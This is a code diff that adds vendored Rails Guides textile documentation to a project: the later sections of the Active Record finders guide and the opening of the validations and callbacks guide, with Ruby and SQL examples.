+Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight})
+</ruby>
+
+This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
+
+<sql>
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+</sql>
+
+This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
+
+h5. Subset Conditions
+
+If you want to find records using the +IN+ expression you can pass an array to the conditions hash:
+
+<ruby>
+Client.all(:conditions => { :orders_count => [1,3,5] })
+</ruby>
+
+This code will generate SQL like this:
+
+<sql>
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+</sql>
+
+h3. Find Options
+
+Apart from +:conditions+, +Model.find+ takes a variety of other options via the options hash for customizing the resulting record set.
+
+<ruby>
+Model.find(id_or_array_of_ids, options_hash)
+Model.find(:last, options_hash)
+Model.find(:first, options_hash)
+
+Model.first(options_hash)
+Model.last(options_hash)
+Model.all(options_hash)
+</ruby>
+
+The following sections give a top level overview of all the possible keys for the +options_hash+.
+
+h4. Ordering
+
+To retrieve records from the database in a specific order, you can specify the +:order+ option to the +find+ call.
+
+For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table:
+
+<ruby>
+Client.all(:order => "created_at")
+</ruby>
+
+You could specify +ASC+ or +DESC+ as well:
+
+<ruby>
+Client.all(:order => "created_at DESC")
+# OR
+Client.all(:order => "created_at ASC")
+</ruby>
+
+Or ordering by multiple fields:
+
+<ruby>
+Client.all(:order => "orders_count ASC, created_at DESC")
+</ruby>
+
+h4. Selecting Specific Fields
+
+By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+.
+
+To select only a subset of fields from the result set, you can specify the subset via +:select+ option on the +find+.
+
+NOTE: If the +:select+ option is used, all the returning objects will be "read only":#readonly-objects.
+
+<br />
+
+For example, to select only +viewable_by+ and +locked+ columns:
+
+<ruby>
+Client.all(:select => "viewable_by, locked")
+</ruby>
+
+The SQL query used by this find call will be somewhat like:
+
+<sql>
+SELECT viewable_by, locked FROM clients
+</sql>
+
+Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
+
+<shell>
+ActiveRecord::MissingAttributeError: missing attribute: <attribute>
+</shell>
+
+Where +<attribute>+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
+
+You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this:
+
+<ruby>
+Client.all(:select => "DISTINCT(name)")
+</ruby>
+
+h4. Limit and Offset
+
+To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +:limit+ and +:offset+ options on the find.
+
+If you want to limit the amount of records to a certain subset of all the records retrieved you usually use +:limit+ for this, sometimes coupled with +:offset+. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. For example:
+
+<ruby>
+Client.all(:limit => 5)
+</ruby>
+
+This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:
+
+<sql>
+SELECT * FROM clients LIMIT 5
+</sql>
+
+Or specifying both +:limit+ and +:offset+:
+
+<ruby>
+Client.all(:limit => 5, :offset => 5)
+</ruby>
+
+This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:
+
+<sql>
+SELECT * FROM clients LIMIT 5, 5
+</sql>
+
+h4. Group
+
+To apply +GROUP BY+ clause to the SQL fired by the +Model.find+, you can specify the +:group+ option on the find.
+
+For example, if you want to find a collection of the dates orders were created on:
+
+<ruby>
+Order.all(:group => "date(created_at)", :order => "created_at")
+</ruby>
+
+And this will give you a single +Order+ object for each date where there are orders in the database.
+
+The SQL that would be executed would be something like this:
+
+<sql>
+SELECT * FROM orders GROUP BY date(created_at)
+</sql>
+
+h4. Having
+
+SQL uses +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can specify the +HAVING+ clause to the SQL fired by the +Model.find+ using +:having+ option on the find.
+
+For example:
+
+<ruby>
+Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago])
+</ruby>
+
+The SQL that would be executed would be something like this:
+
+<sql>
+SELECT * FROM orders GROUP BY date(created_at) HAVING created_at > '2009-01-15'
+</sql>
+
+This will return single order objects for each day, but only for the last month.
+
+h4. Readonly Objects
+
+To explicitly disallow modification/destroyal of the matching records returned by +Model.find+, you could specify the +:readonly+ option as +true+ to the find call.
+
+Any attempt to alter or destroy the readonly records will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception. To set this option, specify it like this:
+
+<ruby>
+Client.first(:readonly => true)
+</ruby>
+
+If you assign this record to a variable client, calling the following code will raise an +ActiveRecord::ReadOnlyRecord+ exception:
+
+<ruby>
+client = Client.first(:readonly => true)
+client.locked = false
+client.save
+</ruby>
+
+h4. Locking Records for Update
+
+Locking is helpful for preventing the race conditions when updating records in the database and ensuring atomic updated. Active Record provides two locking mechanism:
+
+* Optimistic Locking
+* Pessimistic Locking
+
+h5. Optimistic Locking
+
+Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data.  It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored.
+
+<strong>Optimistic locking column</strong>
+
+In order to use optimistic locking, the table needs to have a column called +lock_version+. Each time the record is updated, Active Record increments the +lock_version+ column and the locking facilities ensure that records instantiated twice will let the last one saved raise an +ActiveRecord::StaleObjectError+ exception if the first was also updated. Example:
+
+<ruby>
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # Raises a ActiveRecord::StaleObjectError
+</ruby>
+
+You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
+
+NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+.
+
+<br />
+
+This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
+
+To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+:
+
+<ruby>
+class Client < ActiveRecord::Base
+  set_locking_column :lock_client_column
+end
+</ruby>
+
+h5. Pessimistic Locking
+
+Pessimistic locking uses locking mechanism provided by the underlying database. Passing +:lock => true+ to +Model.find+ obtains an exclusive lock on the selected rows. +Model.find+ using +:lock+ are usually wrapped inside a transaction for preventing deadlock conditions.
+
+For example:
+
+<ruby>
+Item.transaction do
+  i = Item.first(:lock => true)
+  i.name = 'Jones'
+  i.save
+end
+</ruby>
+
+The above session produces the following SQL for a MySQL backend:
+
+<sql>
+SQL (0.2ms)   BEGIN
+Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms)   COMMIT
+</sql>
+
+You can also pass raw SQL to the +:lock+ option to allow different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
+
+<ruby>
+Item.transaction do
+  i = Item.find(1, :lock => "LOCK IN SHARE MODE")
+  i.increment!(:views)
+end
+</ruby>
+
+h3. Joining Tables
+
+<tt>Model.find</tt> provides a +:joins+ option for specifying +JOIN+ clauses on the resulting SQL. There multiple different ways to specify the +:joins+ option:
+
+h4. Using a String SQL Fragment
+
+You can just supply the raw SQL specifying the +JOIN+ clause to the +:joins+ option. For example:
+
+<ruby>
+Client.all(:joins => 'LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
+</ruby>
+
+This will result in the following SQL:
+
+<sql>
+SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
+</sql>
+
+h4. Using Array/Hash of Named Associations
+
+WARNING: This method only works with +INNER JOIN+,
+
+<br />
+
+Active Record lets you use the names of the "associations":association_basics.html defined on the model as a shortcut for specifying the +:joins+ option.
+
+For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models:
+
+<ruby>
+class Category < ActiveRecord::Base
+  has_many :posts
+end
+
+class Post < ActiveRecord::Base
+  belongs_to :category
+  has_many :comments
+  has_many :tags
+end
+
+class Comments < ActiveRecord::Base
+  belongs_to :post
+  has_one :guest
+end
+
+class Guest < ActiveRecord::Base
+  belongs_to :comment
+end
+</ruby>
+
+Now all of the following will produce the expected join queries using +INNER JOIN+:
+
+h5. Joining a Single Association
+
+<ruby>
+Category.all :joins => :posts
+</ruby>
+
+This produces:
+
+<sql>
+SELECT categories.* FROM categories
+  INNER JOIN posts ON posts.category_id = categories.id
+</sql>
+
+h5. Joining Multiple Associations
+
+<ruby>
+Post.all :joins => [:category, :comments]
+</ruby>
+
+This produces:
+
+<sql>
+SELECT posts.* FROM posts 
+  INNER JOIN categories ON posts.category_id = categories.id
+  INNER JOIN comments ON comments.post_id = posts.id
+</sql>
+
+h5. Joining Nested Associations (Single Level)
+
+<ruby>
+Post.all :joins => {:comments => :guest}
+</ruby>
+
+h5. Joining Nested Associations (Multiple Level)
+
+<ruby>
+Category.all :joins => {:posts => [{:comments => :guest}, :tags]}
+</ruby>
+
+h4. Specifying Conditions on the Joined Tables
+
+You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables:
+
+<ruby>
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.all :joins => :orders, :conditions => {'orders.created_at' => time_range}
+</ruby>
+
+An alternative and cleaner syntax to this is to nest the hash conditions:
+
+<ruby>
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.all :joins => :orders, :conditions => {:orders => {:created_at => time_range}}
+</ruby>
+
+This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression.
+
+h3. Eager Loading Associations
+
+Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible.
+
+<strong>N <plus> 1 queries problem</strong>
+
+Consider the following code, which finds 10 clients and prints their postcodes:
+
+<ruby>
+clients = Client.all(:limit => 10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+</ruby>
+
+This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total.
+
+<strong>Solution to N <plus> 1 queries problem</strong>
+
+Active Record lets you specify all the associations in advanced that are going to be loaded. This is possible by specifying the +:include+ option of the +Model.find+ call. By +:include+, Active Record ensures that all the specified associations are loaded using minimum possible number of queries.
+
+Revisiting the above case, we could rewrite +Client.all+ to use eager load addresses:
+
+<ruby>
+clients = Client.all(:include => :address, :limit => 10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+</ruby>
+
+The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case:
+
+<sql>
+SELECT * FROM clients
+SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+</sql>
+
+h4. Eager Loading Multiple Associations
+
+Active Record lets you eager load any possible number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +:include+ option.
+
+h5. Array of Multiple Associations 
+
+<ruby>
+Post.all :include => [:category, :comments]
+</ruby>
+
+This loads all the posts and the associated category and comments for each post.
+
+h5. Nested Associations Hash
+
+<ruby>
+Category.find 1, :include => {:posts => [{:comments => :guest}, :tags]}
+</ruby>
+
+The above code finds the category with id 1 and eager loads all the posts associated with the found category. Additionally, it will also eager load every posts' tags and comments. Every comment's guest association will get eager loaded as well.
+
+h4. Specifying Conditions on Eager Loaded Associations
+
+Even though Active Record lets you specify conditions on the eager loaded associations just like +:joins+, the recommended way is to use ":joins":#joining-tables instead. 
+
+h3. Dynamic Finders
+
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your +Client+ model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+.
+
+You can do +find_last_by_*+ methods too which will find the last record matching your argument.
+
+You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+
+
+If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked("Ryan", true)+.
+
+
+There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name("Ryan")+:
+
+<sql>
+SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1
+BEGIN
+INSERT INTO clients (name, updated_at, created_at, orders_count, locked)
+  VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0')
+COMMIT
+</sql>
+
++find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similar to calling +new+ with the arguments you passed in. For example:
+
+<ruby>
+client = Client.find_or_initialize_by_name('Ryan')
+</ruby>
+
+will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it.
+
+h3. Finding by SQL
+
+If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even the underlying query returns just a single record. For example you could run this query:
+
+<ruby>
+Client.find_by_sql("SELECT * FROM clients 
+  INNER JOIN orders ON clients.id = orders.client_id 
+  ORDER clients.created_at desc")
+</ruby>
+
++find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+
+h3. +select_all+
+
+<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+
+<ruby>
+Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
+</ruby>
+
+h3. Existence of Objects
+
+If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
+
+<ruby>
+Client.exists?(1)
+</ruby>
+
+The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
+
+<ruby>
+Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+</ruby>
+
+Further more, +exists+ takes a +conditions+ option much like find:
+
+<ruby>
+Client.exists?(:conditions => "first_name = 'Ryan'")
+</ruby>
+
+It's even possible to use +exists?+ without any arguments:
+
+<ruby>
+Client.exists?
+</ruby>
+
+The above returns +false+ if the +clients+ table is empty and +true+ otherwise.
+
+h3. Calculations
+
+This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
+
+<tt>count</tt> takes conditions much in the same way +exists?+ does:
+
+<ruby>
+Client.count(:conditions => "first_name = 'Ryan'")
+</ruby>
+
+Which will execute:
+
+<sql>
+SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+</sql>
+
+You can also use +:include+ or +:joins+ for this to do something a little more complex:
+
+<ruby>
+Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders")
+</ruby>
+
+Which will execute:
+
+<sql>
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+  (clients.first_name = 'Ryan' AND orders.status = 'received')
+</sql>
+
+This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table.
+
+h4. Count
+
+If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Average
+
+If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.average("orders_count")
+</ruby>
+
+This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Minimum
+
+If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.minimum("age")
+</ruby>
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Maximum
+
+If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.maximum("age")
+</ruby>
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Sum
+
+If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.sum("orders_count")
+</ruby>
+
+For options, please see the parent section,  "Calculations":#calculations.
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16
+
+* February 7, 2009: Second version by "Pratik":credits.html#lifo
+* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar
diff --git a/vendor/rails/railties/guides/source/activerecord_validations_callbacks.textile b/vendor/rails/railties/guides/source/activerecord_validations_callbacks.textile
new file mode 100644
index 00000000..5ae48842
--- /dev/null
+++ b/vendor/rails/railties/guides/source/activerecord_validations_callbacks.textile
@@ -0,0 +1,1086 @@
+h2. Active Record Validations and Callbacks
+
+This guide teaches you how to hook into the lifecycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object lifecycle.
+
+After reading this guide and trying out the presented concepts, we hope that you'll be able to:
+
+* Understand the lifecycle of Active Record objects
+* Use the built-in Active Record validation helpers
+* Create your own custom validation methods
+* Work with the error messages generated by the validation process
+* Create callback methods that respond to events in the object lifecycle
+* Create special classes that encapsulate common behavior for your callbacks
+* Create Observers that respond to lifecycle events outside of the original class
+
+endprologue.
+
+h3. The Object Lifecycle
+
+During the normal operation of a Rails application objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object lifecycle</em> so that you can control your application and its data. 
+
+Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state.
+
+h3. Validations Overview
+
+Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.
+
+h4. Why Use Validations?
+
+Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.
+
+There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations.
+
+* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
+* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
+* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run.
+* Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well. 
+
+h4. When Does Validation Happen?
+
+There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
+
+<ruby>
+class Person < ActiveRecord::Base
+end
+</ruby>
+
+We can see how it works by looking at some script/console output:
+
+<shell>
+>> p = Person.new(:name => "John Doe")
+=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+</shell>
+
+Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.
+
+CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.
+
+The following methods trigger validations, and will save the object to the database only if the object is valid:
+
+* +create+
+* +create!+
+* +save+
+* +save!+
+* +update+
+* +update_attributes+
+* +update_attributes!+
+
+The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the object/s.
+
+h4. Skipping Validations
+
+The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.
+
+* +decrement!+
+* +decrement_counter+
+* +increment!+
+* +increment_counter+
+* +toggle!+
+* +update_all+
+* +update_attribute+
+* +update_counters+
+
+Note that +save+ also has the ability to skip validations if passed +false+ as argument. This technique should be used with caution.
+
+* +save(false)+
+
+h4. +valid?+ and +invalid?+
+
+To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_presence_of :name
+end
+
+Person.create(:name => "John Doe").valid? # => true
+Person.create(:name => nil).valid? # => false
+</ruby>
+
+When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations.
+
+Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_presence_of :name
+end
+
+>> p = Person.new
+=> #<Person id: nil, name: nil>
+>> p.errors
+=> #<ActiveRecord::Errors..., @errors={}>
+  
+>> p.valid?
+=> false
+>> p.errors
+=> #<ActiveRecord::Errors..., @errors={"name"=>["can't be blank"]}>
+
+>> p = Person.create
+=> #<Person id: nil, name: nil>
+>> p.errors
+=> #<ActiveRecord::Errors..., @errors={"name"=>["can't be blank"]}>
+  
+>> p.save
+=> false
+
+>> p.save!
+=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+</ruby>
+
++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise.
+
+h4. +errors.invalid?+
+
+To verify whether or not a particular attribute of an object is valid, you can use the +errors.invalid?+ method. This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_presence_of :name
+end
+
+>> Person.new.errors.invalid?(:name) # => false
+>> Person.create.errors.invalid?(:name) # => true
+</ruby>
+
+We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default.
+
+h3. Validation Helpers
+
+Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated.
+
+Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.
+
+All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+  or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers.
+
+h4. +validates_acceptance_of+
+
+Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_acceptance_of :terms_of_service
+end
+</ruby>
+
+The default error message for +validates_acceptance_of+ is "_must be accepted_".
+
++validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_acceptance_of :terms_of_service, :accept => 'yes'
+end
+</ruby>
+
+h4. +validates_associated+
+
+You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
+
+<ruby>
+class Library < ActiveRecord::Base
+  has_many :books
+  validates_associated :books
+end
+</ruby>
+
+This validation will work with all of the association types.
+
+CAUTION: Don't use +validates_associated+ on both ends of your associations, they would call each other in an infinite loop.
+
+The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
+
+h4. +validates_confirmation_of+
+
+You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_confirmation_of :email
+end
+</ruby>
+
+In your view template you could use something like
+
+<erb>
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+</erb>
+
+This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide):
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_confirmation_of :email
+  validates_presence_of :email_confirmation
+end
+</ruby>
+
+The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_".
+
+h4. +validates_exclusion_of+
+
+This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
+
+<ruby>
+class Account < ActiveRecord::Base
+  validates_exclusion_of :subdomain, :in => %w(www),
+    :message => "Subdomain {{value}} is reserved."
+end
+</ruby>
+
+The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+  that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value.
+
+The default error message for +validates_exclusion_of+  is "_is not included in the list_".
+
+h4. +validates_format_of+
+
+This helper validates the attributes' values by testing whether they match a given regular expresion, which is specified using the +:with+ option.
+
+<ruby>
+class Product < ActiveRecord::Base
+  validates_format_of :legacy_code, :with => /\A[a-zA-Z]+\z/,
+    :message => "Only letters allowed"
+end
+</ruby>
+
+The default error message for +validates_format_of+ is "_is invalid_".
+
+h4. +validates_inclusion_of+
+
+This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
+
+<ruby>
+class Coffee < ActiveRecord::Base
+  validates_inclusion_of :size, :in => %w(small medium large),
+    :message => "{{value}} is not a valid size"
+end
+</ruby>
+
+The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value.
+
+The default error message for +validates_inclusion_of+  is "_is not included in the list_".
+
+h4. +validates_length_of+
+
+This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_length_of :name, :minimum => 2
+  validates_length_of :bio, :maximum => 500
+  validates_length_of :password, :in => 6..20
+  validates_length_of :registration_number, :is => 6
+end
+</ruby>
+
+The possible length constraint options are:
+
+* +:minimum+ - The attribute cannot have less than the specified length.
+* +:maximum+ - The attribute cannot have more than the specified length.
+* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a range.
+* +:is+ - The attribute length must be equal to the given value.
+
+The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>{{count}}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_length_of :bio, :maximum => 1000,
+    :too_long => "{{count}} characters is the maximum allowed"
+end
+</ruby>
+
+This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option:
+
+<ruby>
+class Essay < ActiveRecord::Base
+  validates_length_of :content,
+    :minimum   => 300,
+    :maximum   => 400,
+    :tokenizer => lambda { |str| str.scan(/\w+/) },
+    :too_short => "must have at least {{count}} words",
+    :too_long  => "must have at most {{count}} words"
+end
+</ruby>
+
+The +validates_size_of+ helper is an alias for +validates_length_of+.
+
+h4. +validates_numericality_of+
+
+This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true.
+
+If you set +:only_integer+ to +true+, then it will use the
+
+<ruby>
+/\A[+-]?\d+\Z/
+</ruby>
+
+regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
+
+WARNING. Note that the regular expression above allows a trailing newline character.
+
+<ruby>
+class Player < ActiveRecord::Base
+  validates_numericality_of :points
+  validates_numericality_of :games_played, :only_integer => true
+end
+</ruby>
+
+Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values:
+
+* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than {{count}}_".
+* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to {{count}}".
+* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to {{count}}_".
